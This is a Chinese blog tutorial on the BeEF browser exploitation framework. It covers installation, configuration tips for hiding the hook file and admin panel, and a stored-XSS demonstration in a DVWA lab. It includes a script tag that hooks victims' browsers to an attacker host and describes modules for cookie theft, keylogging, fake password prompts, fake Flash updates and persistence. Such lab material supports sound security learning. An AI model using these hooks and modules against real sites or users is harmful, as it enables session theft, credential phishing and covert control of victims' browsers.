Beef的使用

  • 一、Beef简介
  • 二、beef的下载安装
  • 三、Beef配置
  • 四、Beef的使用
  • 五、Beef的主要功能

在我的记忆之中之前是有些过关于beef这款工具的使用的文章的,然而最近整理博客,一看,发现怎么没有了,可能是我忘了吧,或者可能也可能是在梦里写了。。。今天来写一下吧

一、Beef简介

Browser Exploitation Framework (BeEF)

BeEF 是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合JS脚本和Metasploit进行渗透,

BeEF 是基于Ruby语言编写的,并且支持图形化操作,操作简单。

beef官方网站:http://beefproject.com/


工程框架:

在这里插入图片描述zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编 写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间 (默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就 像一个Web应用,被分为前端UI,和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

二、beef的下载安装

kali自带beef

如果没有的话通过以下方式进行下载安装

apt-get update
apt-get install beef-xss

安装完之后开始 beef
cd /usr/share/beef-xss/ # 切换到beef所在目录
./beef # 启动 beef

启动 beef 出现

[!] ERROR: Don’t use default username and password!
|_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml

然后根据提示去修改配置。
vim /etc/beef-xss/config.yaml

可以进行更改账号密码

修改完之后,Beef安装即为成功

接下来启动beef

在命令行输入命令:beef-xss
即可启动beef,自动弹出beef浏览器窗口,输入账号密码即可进入

三、Beef配置

kali下的BeeF配置文件在 /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeeF配置文件会在BeeF的主目录 下config.yaml,建议修改几个地方:

permitted_hooking_subnet: “0.0.0.0/0” #指定某个网段,只有在这个网段的浏览器才能被hook
permitted_ui_subnet: “0.0.0.0/0” #指定某个网段,只有在这个网段的浏览器才能访问管理UI
#上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
host: “0.0.0.0” #设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
port: “3000” #设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
xhr_poll_timeout: 1000 #受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
public: “” #public hostname/IP address
public_port: “” #experimental
# 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。
web_ui_basepath: “/ui” #管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
hook_file: “/hook.js” #hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
credentials: user: “beef” passwd: “beef” #管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的

四、Beef的使用

首先看登录成功的页面,左边有两个文件夹样式的东东,很好理解,就是字面意思,在线浏览器和不在线浏览器
利用
钩子命令:<script src="http://<IP>:3000/hook.js"></script>

这里用DVWA里的XSS漏洞靶场来做利用beef攻击的演示

这里的XSS存储型靶场它还有字符串长度的限制,我们先按F12进入源代码来修改一下长度限制


然后就可以在留言输入框中插入恶意的script代码了。把我们上面的beef钩子代码粘贴进去,其中ip为kali攻击机ip
在修改浏览器前端限制输入长度后,插入 <script src="http://192.168.2.131:3000/hook.js"></script>

成功插入,然后我再用我kali去访问一下,

可以发现在线浏览器多了两个,一个是win10我刚刚插入时上去的,另一个是我的kali浏览了中招的。

我们可以点击进行相关操作。

点击当前在线的主机,然后右边会有选择框(弹框如上),我们点击 Current Browser ,然后下面就有一些功能项:Details、Logs、Commands、XssRays、Network、WebRTC

  • Details是浏览器信息详情
  • Logs能记录你在浏览器上的操作,点击,输入操作都能记录
  • Commands是你能对该浏览器进行哪些操作

Logs

记录了被攻击者在植入脚本的页面进行的操作,如:鼠标点击、输入内容。

Commands

点击Command,这里有一些我们可以使用的功能分类,一共有12个大的功能,括号里面的数字是每个功能分类里面的个数。


Broser:主要是针对浏览器的一些信息收集或攻击,其下的子选项卡Hooked Domain主要是获取HTTP属性值,比如cookie、表单值等,还可以做 写简单的浏览器操作,比如替换href值,弹出警告框,重定向浏览器等。这个选项卡下的有些模块会根据受害者的浏览器来决定是否显示。主要是浏览器通用操作和其他基本信息检测。

Chrome extensions:主要是针对谷歌浏览器扩展插件

Debug:调试功能

Exploits:漏洞利用,主要利用一些已公开的漏洞进行攻击测试

Host:针对主机,比如检测主机的浏览器、系统信息、IP地址、安装软件等等

IPEC:协议间通信。主要是用来连接、控制受害者浏览器的

Metasploit:Beef可通过配置和metasploit平台联合,一旦有受害者出现,可通过信息收集确定是否存在漏洞,进一步方便metasploit攻击测试

Misc:杂项。

Network:网络扫描

Persistence:维护受害者访问

Phonegap:手机测试

Social engineering:社会工程学攻击

绿色模块:可以执行且目标不可见
红色模块:不适合当前目标
橙色模块:可以执行但目标可见
灰色模块:未在目标浏览器上测试过

点击对应的功能后,点击右下角按钮执行,执行之后可以查看执行结果。

  • Get Cookie 该模块将从当前页面检索会话cookie。
  • Get From Vakues 该模块检索页面上所有输入字段的名称,类型和值。
  • Get Page HREFs 该模块将从目标页面检索所有超链接。
  • Get Page HTML 该模块将从当前页面检索HTML。
  • Get Page and iframe HTML 该模块将从当前页面和任何iframe(具有相同来源)中检索HTML。
  • Remove stuck iframe 该模块将删除所有卡住的iframe(请注意,它将删除该节点上的所有iframe!)。
  • Replace HREFs 该模块将重写所有匹配链接的所有href属性。
  • Replace HREFs(click Events) 该模块将使用Bilawal Hameed对click事件处理的更新来重写所有匹配链接的所有href属性。这将隐藏所有更新链接的目标站点。(意识是鼠标点向超链接,超链接任然会下会显示原来的链接,但是点击之后跳转到指定的网站)
  • Replace HREFs (HTTPS) 该模块将重写HTTPS链接的所有href属性,以使用HTTP代替HTTPS。相对于Web根的链接不会被重写。
  • Replace HREFs (TEL) 此模块将重写电话链接的所有href属性(即tel:5558585)以拨打您选择的号码。
  • Fingerprint Ajax 钩住的页面上有指纹Ajax和JS库。
  • Overflow Cookie Jar 该模块尝试执行John Wilander的CookieJar溢出。他在Owasp 1-liner项目中证明了这一点。使用此模块,可以擦除具有HTTPOnly标志和/或HTTPS标志的cookie。之后,您可以尝试重新创建这些cookie作为普通cookie。
  • Create Alert Dialog 将警报对话框发送到挂钩的浏览器。
  • Create Prompt Dialog 将结束对话框的提示对话框。(这个可以填入,您的密码已过期,请重新输入。然后beef这边会接收输入的数据)
  • Redirect Browser 该模块会将选定的已挂钩的浏览器重定向到“重定向URL”输入中指定的地址。(直接重定向跳转)
  • Redirect Browser (Rickroll) 用全屏Rickroll覆盖受害者所在页面的正文。(受害者页面全屏变白了)
  • Redirect Browser (iFrame) 他的模块创建了100%x 100%的重叠iframe,并使浏览器始终挂在框架上。iframe的内容,页面标题,页面快捷方式图标和时间延迟在以下参数中指定。URL栏的内容在挂钩的浏览器中不会更改。(此时虽然页面变了,但只是iframe的作用,所以主机不会掉线,但是如果其他直接重定向跳转到其他链接,主机就会掉线)
  • Replace Component (Deface) 覆盖挂钩页面的特定组件。
  • Replace Content (Deface) 覆盖页面上的页面,标题和快捷方式图标。
  • Replace Videos 使用包含您选择的youtube视频的嵌入标签(默认为rickroll)替换用jQuery选择的对象(默认情况下为所有嵌入标签)。

这里挑几个有趣的详细说一下

  • Play Sound 在挂钩的浏览器上播放声音。
  • Webcam 该模块将向用户显示Adobe Flash“允许网络摄像头”对话框。用户必须单击允许按钮,否则该模块将不返回图片。可以定制说服用户的标题/文本。您可以自定义要拍摄的照片数量和间隔时间(默认情况下将拍摄20张照片,每秒1张照片)。图片以base64编码的JPG字符串发送。
  • Webcam Pemission Check 该模块将检查用户是否已允许BeEF域(或所有域)使用Flash访问摄像头和麦克风。该模块是透明的,用户不应检测到该模块(即不会出现请求权限的弹出窗口)

Social Engineering 栏目也有好多有趣的功能。

  • Fake Flash Update 提示用户将更新安装到Adobe Flash Player。交付的有效负载可以是自定义文件,浏览器扩展或任何特定的URI。提供的BeEF Firefox扩展禁用PortBanning(端口20、21、22、25、110、143),启用Java,覆盖UserAgent和默认的home / new_tab页面。请参阅/ extensions / ipec / files / LinkTargetFinder目录,以获取Firefox扩展源代码。Chrome扩展程序交付可在<= 20的Chrome上运行。从Chrome 21开始,在扩展程序的加载方式方面发生了一些变化。请参阅/extensions/demos/flash_update_chrome_extension/manifest.json了解更多信息以及适用于最新版Chrome的示例扩展。
  • Fake Notification Bar (Firefox) 在屏幕顶部显示一个假通知栏,类似于Firefox中显示的通知栏。如果用户单击通知,将提示他们下载恶意的Firefox扩展(默认情况下)。
  • Pretty Theft 使用浮动div询问用户其用户名和密码。

Persistence

  • Create Pop Under 该模块在带有BeEF挂钩的窗口下创建一个新的谨慎弹出窗口。另一个浏览器节点将被添加到挂钩的浏览器树中。现代浏览器默认情况下会阻止弹出窗口,并警告用户该弹出窗口已被阻止(除非允许起源来生成弹出窗口)。但是,对于某些用户启动的事件(例如单击页面),将绕过此检查。使用下面的“ clickjack”选项添加一个事件处理程序,当用户单击页面上的任意位置时,该事件处理程序将生成弹出窗口。多次运行模块将为一次单击事件产生多个弹出窗口。注意:移动设备可能会在顶部打开新的弹出窗口或重定向当前窗口,而不是在后台打开。

  • Create Pop Under 该模块在带有BeEF挂钩的窗口下创建一个新的谨慎弹出窗口。另一个浏览器节点将被添加到挂钩的浏览器树中。现代浏览器默认情况下会阻止弹出窗口,并警告用户该弹出窗口已被阻止(除非允许起源来生成弹出窗口)。但是,对于某些用户启动的事件(例如单击页面),将绕过此检查。使用下面的“ clickjack”选项添加一个事件处理程序,当用户单击页面上的任意位置时,该事件处理程序将生成弹出窗口。多次运行模块将为一次单击事件产生多个弹出窗口。注意:移动设备可能会在顶部打开新的弹出窗口或重定向当前窗口,而不是在后台打开。

    图中可见,中招的主机级别提高了,此时就算关了浏览器中的窗口,也不会下线,因为此选项执行后,会在电脑右下角生成一个小化的窗口访问192.168.1.245:3000/demos/plain.html,从而控制受害者。

这个工具上我们主要可以看到存储型XSS的危害。

五、Beef的主要功能

1、信息收集

  • 网络发现
  • 主机信息
  • cookie获取
  • 会话劫持
  • 键盘记录
  • 插件信息

2、持久化控制

  • 确认弹框
  • 小窗口
  • 中间人

3、社会工程

  • 点击劫持
  • 弹窗告警
  • 虚假页面
  • 钓鱼页面

4、渗透攻击

  • 内网渗透
  • 结合Metasploit利用
  • CSRF攻击
  • DDOS攻击

XSS自动化工具——Beef相关推荐

  1. 怎样利用超图客户端打点_渗透测试——XSS利用工具BeEF攻击演示

    跨站脚本漏洞(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.窃取密码.传播恶意代码等攻击.XSS攻击使用到的技术主要为HTML和Javasc ...

  2. 一个好玩的工具BeEF介绍

    beef BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能 BeEF-XSS可以说是最强大的XSS漏洞利用工具,可以收集浏览器信息.键盘记录.社会工程等 ...

  3. python 自动化办公 案例_python自动化工具之pywinauto实例详解

    python自动化工具之pywinauto实例详解 来源:中文源码网 浏览: 次 日期:2019年11月5日 [下载文档: python自动化工具之pywinauto实例详解.txt ] (友情提示: ...

  4. 推荐一个工作流自动化工具

    以下文章来源方志朋的博客,回复"666"获面试宝典 今天,要和大家分享一个"开源"工作流自动化工具--n8n ,简单来说,它是一个与其他应用程序集成的应用程序, ...

  5. 前端自动化工具 grunt 插件 uglify 的简单使用(一)

    Grunt 的简介: Grunt 是一套前端自动化工具,是一个基于 node.js 的命令行工具,它一般用于: 1.压缩文件: 2.合并文件: 3.简单的语法检测: 4.监听文件变动: 5.less ...

  6. 在 CentOS 7 中安装并使用自动化工具 Ansible

    Ansible是一款为类Unix系统开发的自由开源的配置和自动化工具.它用Python写成,类似于Chef和Puppet,但是有一个不同和优点是我们不需要在节点中安装任何客户端.它使用SSH来和节点进 ...

  7. python 网页自动处理_推荐一款 10 行 Python 代码实现网页自动化工具

    各种各样的网站在我们日常工作和学习中占据着举足轻重的地位,学习.影音娱乐.查询资料.协同办公,越来越多的任务都被迁移到浏览器 因此,网页也蕴含着很多有价值.我们能够用得到的资源 例如,数据.歌曲.影视 ...

  8. gulp前端自动化工具的快速入门案例

    最近项目和工作中要开始使用自动化工具了,回想一下以前接触这个的时候就是什么nodejs,grunt之类的了,这次干脆就用一个新的,那么就是gulp... 全局下利用npm安装gulp sudo npm ...

  9. android开发获取应用本身耗电量_别找了,Android常用自动化工具全在这儿了!

    Android常用自动化工具 ADB - 是Google提供的为Android编写UI测试用例的自动化工具, Android开发/测试人员不可替代的强大工具 uiautomator - 是Google ...

  10. 自动化工具之二:win32gui

    自动化工具win32gui 一.下载安装win32gui 二.Win32gui的使用 1.查找窗体句柄 我们知道的所有空间其实就是窗体,所有的窗口都有一个独立的句柄,要操作任意一个窗体,你都需要找到这 ...

最新文章

  1. linux 统计日志数量总,shell统计日志中时间段内匹配的数量的方法
  2. 编译 / __attribute__(constructor)和__attribute__(destructor)
  3. Java IO 节点流与处理流类型
  4. 财务管理(Finance Management)
  5. API Gateway——KONG简单入门
  6. Linux如何从普通用户切换到root用户
  7. 特别引人注目的头像_设计样式指南:构建引人注目的产品的要素
  8. Cookie、Session和Storage
  9. java 泛型详解-绝对是对泛型方法讲解最详细的,没有之一,大厂 HR 如何面试
  10. 我为什么离开德国顶级传统大厂IT部
  11. 双11猫晚直播:看阿里文娱如何“擒住”高并发、多视角、低卡顿!
  12. 72张三国历史演变地图
  13. 上完选修计算机绘图课心得,计算机绘图学习心得体会.doc
  14. 微星性能测试软件,MSI Kombustor
  15. 关于王者荣耀技术背景的文章
  16. 【Language model】使用RNN LSTM训练语言模型 写出45°角仰望星空的文章
  17. 读论文:BERT Pre-training of Deep Bidirectional Transformers for Language Understanding
  18. 俞敏洪励志演讲稿【三】
  19. 深入浅出统计学读书笔记:离散概率分布的应用
  20. oracle goldengate实战指南,Oracle GoldenGate 11g官方文档Administrator’s Guide续三

热门文章

  1. 安卓root之后交管123123 20秒闪退和中国农业银行app 6.0闪退的解决方法
  2. PDF417二维条码详解
  3. Web浏览器没有Flash如何播放RTMP协议直播
  4. pom文件中的dependencyManagement和dependency
  5. ISDN-PRI,1号,7号信令的基础知识
  6. html生物代码,方块方舟全物品代码 生物召唤代码大全
  7. Xcode低版本运行高版本真机(xcode9联调真机iOS12 系统)
  8. javplayer 使用教程_童装裁剪之连衣裙打版教程 有图纸
  9. python游戏程序代码大全_童年游戏,Python一行代码就能实现!
  10. Crack内网通积分规则(基于版本3.4.3035)